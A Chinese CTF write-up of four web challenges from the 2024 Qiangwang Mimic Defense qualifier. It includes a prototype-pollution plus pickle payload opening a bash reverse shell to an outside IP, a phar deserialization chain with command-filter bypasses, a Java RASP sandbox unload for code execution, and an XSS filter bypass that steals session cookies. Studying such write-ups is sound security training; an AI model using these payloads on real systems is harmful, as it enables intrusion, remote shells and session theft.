目录

  1. 1. 前言
  2. 2. ez_picker
  3. 3. capoo
  4. 4. OnlineRunner(复现)
  5. 5. Spreader(复现)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

第七届“强网”拟态防御国际精英挑战赛-线上预选赛

2024/10/19 CTF线上赛
  |     |   总文章阅读量:

前言

第一天白天鏖战das,晚上才正式开始打这个,还记错时间以为是12点结束

再掉点分就能凑出114514了(悲

image-20241020210811592

参考:

https://blog.wm-team.cn/index.php/archives/84/

https://mp.weixin.qq.com/s/h93cn2hdQ6TUTC_zGelqgA

https://zer0peach.github.io/2024/10/20/%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%812024-volcano/


ez_picker

from sanic import Sanic
from sanic.response import json,file as file_,text,redirect
from sanic_cors import CORS
from key import secret_key
import os
import pickle
import time
import jwt
import io
import builtins
app = Sanic("App")
pickle_file = "data.pkl"
my_object = {}
users = []

safe_modules = {
    'math',
    'datetime',
    'json',
    'collections',
}

safe_names = {
    'sqrt', 'pow', 'sin', 'cos', 'tan',
    'date', 'datetime', 'timedelta', 'timezone', 
    'loads', 'dumps',  
    'namedtuple', 'deque', 'Counter', 'defaultdict'
}

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module in safe_modules and name in safe_names:
            return getattr(builtins, name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))
    
def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

CORS(app, supports_credentials=True, origins=["http://localhost:8000", "http://127.0.0.1:8000"])
class User:
    def __init__(self,username,password):
        self.username=username
        self.password=password
        

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

def token_required(func):
    async def wrapper(request, *args, **kwargs):
        token = request.cookies.get("token")  
        if not token:
            return redirect('/login')
        try:
            result=jwt.decode(token, str(secret_key), algorithms=['HS256'], options={"verify_signature": True})
        except jwt.ExpiredSignatureError:
            return json({"status": "fail", "message": "Token expired"}, status=401)
        except jwt.InvalidTokenError:
            return json({"status": "fail", "message": "Invalid token"}, status=401)
        print(result)
        if result["role"]!="admin":
            return json({"status": "fail", "message": "Permission Denied"}, status=401)
        return await func(request, *args, **kwargs)
    return wrapper

@app.route('/', methods=["GET"])
def file_reader(request):
    file = "app.py"
    with open(file, 'r') as f:
        content = f.read()
    return text(content)

@app.route('/upload', methods=["GET","POST"])
@token_required
async def upload(request):
    if request.method=="GET":
        return await file_('templates/upload.html')
    if not request.files:
        return text("No file provided", status=400)

    file = request.files.get('file')
    file_object = file[0] if isinstance(file, list) else file
    try:
        new_data = restricted_loads(file_object.body)
        try:
            my_object.update(new_data)
        except:
            return json({"status": "success", "message": "Pickle object loaded but not updated"})
        with open(pickle_file, "wb") as f:
            pickle.dump(my_object, f)

        return json({"status": "success", "message": "Pickle object updated"})
    except pickle.UnpicklingError:
        return text("Dangerous pickle file", status=400)
    
@app.route('/register', methods=['GET','POST'])
async def register(request):
    if request.method=='GET':
        return await file_('templates/register.html')
    if request.json:
        NewUser=User("username","password")
        merge(request.json, NewUser)
        users.append(NewUser)
    else:
        return json({"status": "fail", "message": "Invalid request"}, status=400)
    return json({"status": "success", "message": "Register Success!","redirect": "/login"})

@app.route('/login', methods=['GET','POST'])
async def login(request):
    if request.method=='GET':
        return await file_('templates/login.html')
    if request.json:
        username = request.json.get("username")
        password = request.json.get("password")
        if not username or not password:
            return json({"status": "fail", "message": "Username or password missing"}, status=400)
        user = next((u for u in users if u.username == username), None)
        if user:
            if user.password == password:
                data={"user":username,"role":"guest"}
                data['exp'] = int(time.time()) + 60 *5
                token = jwt.encode(data, str(secret_key), algorithm='HS256')
                response = json({"status": "success", "redirect": "/upload"})
                response.cookies["token"]=token
                response.headers['Access-Control-Allow-Origin'] = request.headers.get('origin')
                return response
            else:
                return json({"status": "fail", "message": "Invalid password"}, status=400)
        else:
            return json({"status": "fail", "message": "User not found"}, status=404)
    return json({"status": "fail", "message": "Invalid request"}, status=400)

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8000)

熟悉的 sanic,还有熟悉的原型链污染

先看路由

@app.route('/register', methods=['GET','POST'])
async def register(request):
    if request.method=='GET':
        return await file_('templates/register.html')
    if request.json:
        NewUser=User("username","password")
        merge(request.json, NewUser)
        users.append(NewUser)
    else:
        return json({"status": "fail", "message": "Invalid request"}, status=400)
    return json({"status": "success", "message": "Register Success!","redirect": "/login"})

那么第一步考虑原型链污染secret_key

{
"__init__":{"__globals__":{"secret_key":"abc"}},"username":"1","password":"1"
}

然后登录,伪造 jwt 进 /upload

safe_modules = {
    'math',
    'datetime',
    'json',
    'collections',
}

safe_names = {
    'sqrt', 'pow', 'sin', 'cos', 'tan',
    'date', 'datetime', 'timedelta', 'timezone', 
    'loads', 'dumps',  
    'namedtuple', 'deque', 'Counter', 'defaultdict'
}

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module in safe_modules and name in safe_names:
            return getattr(builtins, name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))
    
def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

@app.route('/upload', methods=["GET","POST"])
@token_required
async def upload(request):
    if request.method=="GET":
        return await file_('templates/upload.html')
    if not request.files:
        return text("No file provided", status=400)

    file = request.files.get('file')
    file_object = file[0] if isinstance(file, list) else file
    try:
        new_data = restricted_loads(file_object.body)
        try:
            my_object.update(new_data)
        except:
            return json({"status": "success", "message": "Pickle object loaded but not updated"})
        with open(pickle_file, "wb") as f:
            pickle.dump(my_object, f)

        return json({"status": "success", "message": "Pickle object updated"})
    except pickle.UnpicklingError:
        return text("Dangerous pickle file", status=400)

接下来是pickle反序列化,但是这里设置了Unpickler,还是白名单,难打

不过这时候依旧是原型链污染就能解决

{
"__init__":{
    "__globals__":{
        "secret_key":"abc",
        "safe_modules":"builtins",
        "safe_names":["getattr","dict","globals"]
    }
},
    "username":"1",
    "password":"1"
}

然后上传文件绕 RestrictedUnpickler 打pickle,

cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'builtins'
tRS'eval'
tR(S'__import__("os").system("bash -c \'bash -i >& /dev/tcp/115.236.153.177/30908 0>&1\'")'
tR.

image-20241020002507721

image-20241020002526599


capoo

进去showpic.php,存在任意文件读取

image-20241019193649544

<?php
class CapooObj {
    public function __wakeup()
    {
	$action = $this->action;
	$action = str_replace("\"", "", $action);
	$action = str_replace("\'", "", $action);
	$banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\	|\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i";
	if(preg_match($banlist, $action)){
		die("Not Allowed!");
	}
        system($this->action);
    }
}
header("Content-type:text/html;charset=utf-8");
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['capoo'])) {
    $file = $_POST['capoo'];
    
    if (file_exists($file)) {
        $data = file_get_contents($file);
        $base64 = base64_encode($data);
    } else if (substr($file, 0, strlen("http://")) === "http://") {
        $data = file_get_contents($_POST['capoo'] . "/capoo.gif");
        if (strpos($data, "PILER") !== false) {
	        die("Capoo piler not allowed!");
        }
        file_put_contents("capoo_img/capoo.gif", $data);
        die("Download Capoo OK");
    } else {
        die('Capoo does not exist.');
    }
} else {
    die('No capoo provided.');
}
?>
<!DOCTYPE html>
<html>
  <head>
    <title>Display Capoo</title>
  </head>
  <body>
    <img style='display:block; width:100px;height:100px;' id='base64image'
       src='data:image/gif;base64, <?php echo $base64;?>' />
  </body>
</html>

本来打算直接拿cnext打,发现 dump下来的 maps 里没 libc-

ban了 PILER ,也就是针对 phar 的,但是可以gzip压缩绕过

又是 file_get_contents 又是 file_put_contents 的,想打 filterchain,但是开头又锁死 http:// 了

php7,那么思路就是打 phar 反序列化

<?php
class CapooObj {
	public $action = 'whoami';
}
$a=new CapooObj();
$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->addFromString("exp.txt", "$payload"); //添加要压缩的文件
$phar->setMetadata($a); //在metadata添加内容,可参考 phar反序列化,此处用不着,故注释
$phar->stopBuffering();

然后 gzip 压缩并改名为 capoo.gif

gzip 1.phar&mv 1.phar.gz capoo.gif

接下来让靶机远程读取我们 vps 上的 capoo.gif,把内容写入 capoo_img/capoo.gif

image-20241019221831356

接下来直接打 phar 伪协议即可:capoo=phar://capoo_img/capoo.gif/exp.txt

rce的部分,这waf诗人握持

$banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\	|\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i";

image-20241019221419728

但是仔细一看发现没ban \,稳辣

l\s$IFS$9/

image-20241019221339517

ca\t$IFS$9/fl\ag-33ac806f

image-20241019221615659

其实直接文件读取就行了吧(


OnlineRunner(复现)

是一个java沙盒

测试发现最外层写好了public class Main{}和 main 方法

尝试手动闭合后执行命令,创建一个新类用来抛出异常,在用不了 import 的情况下要带类的全路径

try {
    A.test();
} catch (Exception e) {
    e.printStackTrace();
}
}}
class A{
public static void test() throws Exception{
    System.out.println("aaa");
    Runtime runtime = Runtime.getRuntime();
    runtime.exec("whoami");

返回Not Allowed!

那先信息收集一波

try {
    A.test();
} catch (Exception e) {
    e.printStackTrace();
}
}}
class A{
public static void test() throws Exception{
    System.out.println(System.getProperty("user.dir"));
    System.out.println(System.getProperty("user.home"));
    System.out.println(System.getProperty("java.version"));
    System.out.println(System.getenv());
    System.out.println(Thread.currentThread().getName());
    System.out.println(System.getSecurityManager());

返回

/app
/home/ctf
17.0.2
{PATH=/usr/local/openjdk-17/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin, HOSTNAME=90e980702e0b, JAVA_HOME=/usr/local/openjdk-17, TERM=xterm, JAVA_VERSION=17.0.2, LANG=C.UTF-8, HOME=/home/ctf}
http-nio-80-exec-10
null

列出目录

try {
    A.test();
} catch (Exception e) {
    e.printStackTrace();
}
}}
class A{
public static void test() throws Exception{
// 指定要列出的目录路径
        String directoryPath = "/";

        // 创建一个 File 对象,代表目录
        java.io.File directory = new java.io.File(directoryPath);

        // 获取目录中的所有文件和子目录
        java.io.File[] files = directory.listFiles();

        if (files != null) {
            System.out.println("Files and subdirectories in " + directoryPath + ":");
            for (java.io.File file : files) {
                System.out.println(file.getName());
            }
        } else {
            System.out.println("Directory does not exist or is not a directory.");
        }

image-20241020010813319

文件读取

try {
    A.test();
} catch (Exception e) {
    e.printStackTrace();
}
}}
class A{
public static void test() throws Exception{
		String filePath = "/proc/1/environ";
        // 创建一个文件对象
        java.io.File file = new java.io.File(filePath);
        try {
            // 创建一个文件输入流
            java.io.FileInputStream fis = new java.io.FileInputStream(file);
            // 读取文件内容
            int data;
            while ((data = fis.read()) != -1) {
                System.out.print((char) data);
            }
            // 关闭输入流
            fis.close();
        } catch (java.io.IOException e) {
            System.out.println("An error occurred while reading the file: " + e.getMessage());
        }

/proc/1/environ:

PATH=/usr/local/openjdk-17/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin HOSTNAME=90e980702e0b TERM=xterm JAVA_HOME=/usr/local/openjdk-17 LANG=C.UTF-8 JAVA_VERSION=17.0.2 HOME=/home/ctf

/proc/1/cmdline:

java --add-opens=java.base/java.lang=ALL-UNNAMED -javaagent:/home/ctf/sandbox/lib/sandbox-agent.jar -jar /app/app.jar --server.port=80

列出

/home/ctf/sandbox/bin/sandbox.sh

/home/ctf/sandbox/cfg/sandbox.properties

#
# this properties file define the sandbox's config
# @author luanjia@taobao.com
# @date   2016-10-24
#

# define the sandbox's ${SYSTEM_MODULE} dir
## system_module=../module

# define the sandbox's ${USER_MODULE} dir, multi values, use ',' split
## user_module=~/.sandbox-module;~/.sandbox-module-1;~/.sandbox-module-2;~/.sandbox-module-n;
user_module=~/.sandbox-module;
#user_module=/home/staragent/plugins/jvm-sandbox-module/sandbox-module;/home/staragent/plugins/monkeyking;

# define the sandbox's ${PROVIDER_LIB} dir
## provider=../provider

# define the network interface
## server.ip=0.0.0.0

# define the network port
## server.port=4769

# define the server http response charset
server.charset=UTF-8

# switch the sandbox can enhance system class
unsafe.enable=true

搜了一下,发现是这个项目的东西:https://github.com/alibaba/jvm-sandbox/wiki/INSTALL-and-CONFIG

image-20241020013036346

读一下日志/home/ctf/logs/sandbox/sandbox.log

image-20241020012836645

没啥特殊的

事已至此,把整个jar包dump下来吧

try {
    A.test();
} catch (Exception e) {
    e.printStackTrace();
}
}}
class A{
public static void test() throws Exception{
        String filePath = "/app/app.jar";
        java.io.File file = new java.io.File(filePath);
        try {
            java.io.FileInputStream fis = new java.io.FileInputStream(file);
            java.io.ByteArrayOutputStream bos = new java.io.ByteArrayOutputStream();
            int data;
            while ((data = fis.read()) != -1) {
                bos.write(data);
            }
            String base64Content = java.util.Base64.getEncoder().encodeToString(bos.toByteArray());
            System.out.println("Base64 encoded content of " + filePath + ":");
            System.out.println(base64Content);
            fis.close();
        } catch (java.io.IOException e) {
            System.out.println("An error occurred while reading the file: " + e.getMessage());
        }

反编译出来就是一个springboot服务,也没找到ban命令执行的地方


后面才知道是 RASP 导致的,位置在 /home/ctf/sandbox/sandbox-module/jvm-rasp.jar

再dump一下 /home/ctf/sandbox/lib/sandbox-agent.jar

image-20241022004219294

发现有个 uninstall 方法,用来卸载模块

看了 wiki 后我们知道它是通过加载 module 进行 hook

把sandbox-module的jvm-rasp弄下来看看,我没注意到搞这个jar包,只能看其它师傅的了,应该是这个项目的rasp:https://github.com/luelueking/jvm-sandbox-rasp

(哦就是1ue师傅写的啊,那没事了)

image-20241025012341830

当前RASP功能默认模块是default,尝试直接卸载RASP

try {                  
    // 使用类加载器动态加载 AgentLauncher 类                  
    Class agentLauncherClass = Class.forName("com.alibaba.jvm.sandbox.agent.AgentLauncher");         
    // 获取 uninstall 方法                  
    System.out.println(agentLauncherClass);                  
    String className =Thread.currentThread().getStackTrace()[1].getClassName();                  
    System.out.println("当前类名: " + className);                  
    java.lang.reflect.Method uninstallMethod = agentLauncherClass.getDeclaredMethod("uninstall", String.class);                  
    uninstallMethod.invoke(null, "default");                  
    System.out.println("Sandbox 卸载成功!");                  
} catch (Exception e) {                  
    System.err.println("调用卸载方法时出错: " + e.getMessage());                  
    e.printStackTrace();                  
}

然后就能rce了


或者因为官方wiki里面说明了:加载rasp会有一个随机的端口作为 client control 的http

查看 sandbox.sh 发现这个逻辑实际上就是发送curl请求

先读日志 /home/ctf/logs/sandbox/sandbox.log ,拿到端口号

然后通过http卸载rce模块:

java.net.URL url = null;
try {
    url = new java.net.URL("http://127.0.0.1:44445/sandbox/default/module/http/sandbox-module-mgr/unload?1=1&action=unload&ids=rasp-rce-native-hook");
    java.net.HttpURLConnection connection = (java.net.HttpURLConnection) url.openConnection();
    connection.setRequestMethod("GET");
    connection.setUseCaches(false);
    connection.setConnectTimeout(5000); // 5 seconds
    int responseCode = connection.getResponseCode();
    java.lang.System.out.println("Response Code : " + responseCode);
    if (responseCode == java.net.HttpURLConnection.HTTP_OK) {
        java.io.InputStream inputStream = connection.getInputStream();
        java.io.InputStreamReader inputStreamReader = new java.io.InputStreamReader(inputStream);
        java.io.BufferedReader bufferedReader = new java.io.BufferedReader(inputStreamReader);

        java.lang.String output;
        java.lang.StringBuffer response = new java.lang.StringBuffer();
        while ((output = bufferedReader.readLine()) != null) {
            response.append(output);
        }
        bufferedReader.close();
        inputStreamReader.close();
        inputStream.close();
        connection.disconnect();
        java.lang.System.out.println("Response Body: " + response.toString());
    } else {
        java.lang.System.out.println("Request failed!");
    }
} catch (java.net.MalformedURLException e) {
    e.printStackTrace();
} catch (java.io.IOException e) {
    e.printStackTrace();
}

Spreader(复现)

xss,没时间看,我刚打完 geekgame 会怕这个?

app.js

const express = require('express');
const session = require('express-session');
const stringRandom = require('string-random');
const bodyParser = require('body-parser');
const app = express();
const port = 3000;
const AdminPassWord=stringRandom(16, { numbers: true })
const PrivilegedPassWord=stringRandom(16, { numbers: true })
const PlainPassWord=stringRandom(16, { numbers: true })
const secret_key=stringRandom(16, { numbers: true })
const users = [];
const posts = [];
const store = [];
users.push({ username:"admin", password:AdminPassWord, role: "admin" });
users.push({ username:"privileged", password:PrivilegedPassWord, role: "privileged" });
users.push({ username:"plain", password:PlainPassWord, role: "plain" });
console.log(users)
app.use(express.static('views'));
app.set('view engine', 'ejs');
app.use(bodyParser.urlencoded({ extended: true }));
app.use(session({
    secret: secret_key,
    resave: false,
    saveUninitialized: true,
    cookie: {
        httpOnly: false,
        secure: false,
    }
}));


app.use('/', require('./routes/index')(users,posts,store,AdminPassWord,PrivilegedPassWord));

app.listen(port, () => {
    console.log(`App is running on http://localhost:${port}`);
});

设置了三种 user 和权限,发现 cookie 没有 httponly

然后看 index.js

const fs = require('fs');
const express = require('express');
const router = express.Router();
const { triggerXSS } = require('../bot');
const { Store } = require('express-session');
function isAuthenticated(req, res, next) {
    if (req.session.user) {
        next();
    } else {
        res.redirect('/login');
    }
}
module.exports = (users,posts,store,AdminPassWord,PrivilegedPassWord) => {

    const ROLES = {
        PLAIN: "plain",
        PRIVILEGED: "privileged",
        ADMIN: "admin",
    };

    router.get('/register', (req, res) => {
        res.sendFile('register.html', { root: './views' });
    });

    router.post('/register', (req, res) => {
        const { username, password, role } = req.body;
        const userExists = users.some(u => u.username === username);
        if (userExists) {
            return res.send('Username already exists!');
        }
        users.push({ username, password, role: "plain" });
        res.redirect('/login');
    });
    router.get('/login', (req, res) => {
        res.sendFile('login.html', { root: './views' });
    });

    router.post('/login', (req, res) => {
        const { username, password } = req.body;
        console.log(username);
        console.log(password);
        const user = users.find(u => u.username === username && u.password === password);
        if (user) {
            req.session.user = user;
            res.redirect('/');
        } else {
            res.send('Invalid credentials!');
        }
    });
    router.get('/', isAuthenticated, (req, res) => {
        const currentUser = req.session.user;
        let filteredPosts = [];
        if (currentUser.role === ROLES.ADMIN) {
            filteredPosts = posts.filter(p => p.role === ROLES.PRIVILEGED || p.role === ROLES.ADMIN);
        } else if (currentUser.role === ROLES.PRIVILEGED) {
            filteredPosts = posts.filter(p => p.role === ROLES.PLAIN || p.role === ROLES.PRIVILEGED);
        } else {
            filteredPosts = posts.filter(p => p.role === ROLES.PLAIN);
        }
        res.render(`${currentUser.role}`, { posts: filteredPosts, user: currentUser });
    });
    router.post('/post', isAuthenticated, (req, res) => {
        let { content } = req.body;
    
        const scriptTagRegex = /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi;
        content = content.replace(scriptTagRegex, '[XSS attempt blocked]');

        const eventHandlerRegex = /on\w+\s*=\s*(["']).*?\1/gi;
        content = content.replace(eventHandlerRegex, '[XSS attempt blocked]');
    
        const javascriptURLRegex = /(?:href|src)\s*=\s*(["'])\s*javascript:.*?\1/gi;
        content = content.replace(javascriptURLRegex, '[XSS attempt blocked]');
    
        const dataURLRegex = /(?:href|src)\s*=\s*(["'])\s*data:.*?\1/gi;
        content = content.replace(dataURLRegex, '[XSS attempt blocked]');
    
        const cssExpressionRegex = /style\s*=\s*(["']).*?expression\([^>]*?\).*?\1/gi;
        content = content.replace(cssExpressionRegex, '[XSS attempt blocked]');
    
        const dangerousTagsRegex = /<\/?(?:iframe|object|embed|link|meta|svg|base|source|form|input|video|audio|textarea|button|frame|frameset|applet)[^>]*?>/gi;
        content = content.replace(dangerousTagsRegex, '[XSS attempt blocked]');
    
        const dangerousAttributesRegex = /\b(?:style|srcset|formaction|xlink:href|contenteditable|xmlns)\s*=\s*(["']).*?\1/gi;
        content = content.replace(dangerousAttributesRegex, '[XSS attempt blocked]');
    
        const dangerousProtocolsRegex = /(?:href|src)\s*=\s*(["'])(?:\s*javascript:|vbscript:|file:|data:|filesystem:).*?\1/gi;
        content = content.replace(dangerousProtocolsRegex, '[XSS attempt blocked]');
    
        const dangerousFunctionsRegex = /\b(?:eval|alert|prompt|confirm|console\.log|Function)\s*\(/gi;
        content = content.replace(dangerousFunctionsRegex, '[XSS attempt blocked]');
    
        posts.push({ content: content, username: req.session.user.username, role: req.session.user.role });
        res.redirect('/');
    });
    
    
    router.get('/logout', (req, res) => {
        req.session.destroy();
        res.redirect('/login');
    });
    router.get('/report_admin', async (req, res) => {
        try {
            await triggerXSS("admin",AdminPassWord);
            res.send(`Admin Bot successfully logged in.`);
        } catch (error) {
            console.error('Error Reporting:', error);
            res.send(`Admin Bot successfully logged in.`);
        }
    });
    router.get('/report_privileged', async (req, res) => {
        try {
            await triggerXSS("privileged",PrivilegedPassWord);
            res.send(`Privileged Bot successfully logged in.`);
        } catch (error) {
            console.error('Error Reporting:', error);
            res.send(`Privileged Bot successfully logged in.`);
        }
    });
    router.get('/store', async (req, res) => {
        return res.status(200).json(store);
    });
    router.post('/store', async (req, res) => {
        if (req.body) {
            store.push(req.body);
            return res.status(200).send('Data stored successfully');
        } else {
            return res.status(400).send('No data received');
        }
    });
    router.get('/flag', async (req, res) => {
        try {
            if (req.session.user && req.session.user.role === "admin") {
                fs.readFile('/flag', 'utf8', (err, data) => {
                    if (err) {
                        console.error('Error reading flag file:', err);
                        return res.status(500).send('Internal Server Error');
                    }
                    res.send(`Your Flag Here: ${data}`);
                });
            } else {
                res.status(403).send('Unauthorized!');
            }
        } catch (error) {
            console.error('Error fetching flag:', error);
            res.status(500).send('Internal Server Error');
        }
    });
    return router;
};

那么我们的目的就是以admin权限进 /flag ,而我们能注册的只有plain,改前端限制是没有用的,后端写死 role 了(

/post 路由就是留言板了,我们要在这里绕过一堆 waf 构造 xss

在bot以高权限身份访问根路由时实现xss(自己复现时写的ejs模板,content部分要用<%-才能渲染html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Welcome, <%= user.username %>!</title>
</head>
<body>
    <h1>Welcome, <%= user.username %>!</h1>
    <% posts.forEach(post => { %>
        <div>
            <p><strong>Username:</strong> <%= post.username %></p>
            <p><strong>Role:</strong> <%= post.role %></p>
            <p><strong>Content:</strong> <%- post.content %></p>
        </div>
    <% }); %>
</body>
</html>
router.get('/', isAuthenticated, (req, res) => {
    const currentUser = req.session.user;
    let filteredPosts = [];
    if (currentUser.role === ROLES.ADMIN) {
        filteredPosts = posts.filter(p => p.role === ROLES.PRIVILEGED || p.role === ROLES.ADMIN);
    } else if (currentUser.role === ROLES.PRIVILEGED) {
        filteredPosts = posts.filter(p => p.role === ROLES.PLAIN || p.role === ROLES.PRIVILEGED);
    } else {
        filteredPosts = posts.filter(p => p.role === ROLES.PLAIN);
    }
    res.render(`${currentUser.role}`, { posts: filteredPosts, user: currentUser });
});

注意这里 ADMIN 只能看到自己和 PRIVILEGED 的content,所以我们要先用 plain 用户 xss 拿到 privileged 的cookie,然后再用 privileged xss 拿到 admin 的 cookie

先尝试绕waf x自己

const scriptTagRegex = /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi;
const eventHandlerRegex = /on\w+\s*=\s*(["']).*?\1/gi;
const javascriptURLRegex = /(?:href|src)\s*=\s*(["'])\s*javascript:.*?\1/gi;
const dataURLRegex = /(?:href|src)\s*=\s*(["'])\s*data:.*?\1/gi;
const cssExpressionRegex = /style\s*=\s*(["']).*?expression\([^>]*?\).*?\1/gi;
const dangerousTagsRegex = /<\/?(?:iframe|object|embed|link|meta|svg|base|source|form|input|video|audio|textarea|button|frame|frameset|applet)[^>]*?>/gi;
const dangerousAttributesRegex = /\b(?:style|srcset|formaction|xlink:href|contenteditable|xmlns)\s*=\s*(["']).*?\1/gi;
const dangerousProtocolsRegex = /(?:href|src)\s*=\s*(["'])(?:\s*javascript:|vbscript:|file:|data:|filesystem:).*?\1/gi;
const dangerousFunctionsRegex = /\b(?:eval|alert|prompt|confirm|console\.log|Function)\s*\(/gi;

image-20241024012021344

可以利用不完整标签的特性绕过标签过滤

image-20241024012401499

image-20241024012337000

image-20241024012422914

image-20241024012443939

这里ban了一堆标签

image-20241024012510817

image-20241024012540006

image-20241024012559089

这里不允许类似alert(这样的写法,但是这些函数都在 window 对象下,可以用window['alert']的形式来调用

image-20241024013029181

ban了很多函数,但是没ban fetch,等会带外就靠它了

综合一下绕过的思路就有了下面这样的写法

<script>window['alert'](document.cookie)</script

image-20241025010632230

由于靶机不出网,我们只能把结果存/store,用fetch访问

<script>fetch('/store',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:encodeURIComponent(document.cookie)});</script

image-20241025011032860

带外成功,同理我们让bot访问这玩意即可,先访问 /report_privileged 拿到 privileged 的 cookie:connect.sid=s%3ArGSAhm05m4YVGdVx_tn4ct5l6F-sXjoC.lFlfDcQeiq8q7MQHAjgrOyerH%2FGemNFAtz%2BU4gUAacc

再用这个 cookie post 我们的 xss payload,然后访问 /report_admin

在 /store 拿到 admin 的 cookie

image-20241025011738724

connect.sid=s%3ApXtjmPa6Gocom4dXBESVhgpZW5Yk_zw1.3lsteNwKjQhH1G%2FqnSbS1iKOwo6xdNfdixTvrRJ2Ieg

带着 cookie 访问 /flag 即可

image-20241025011825503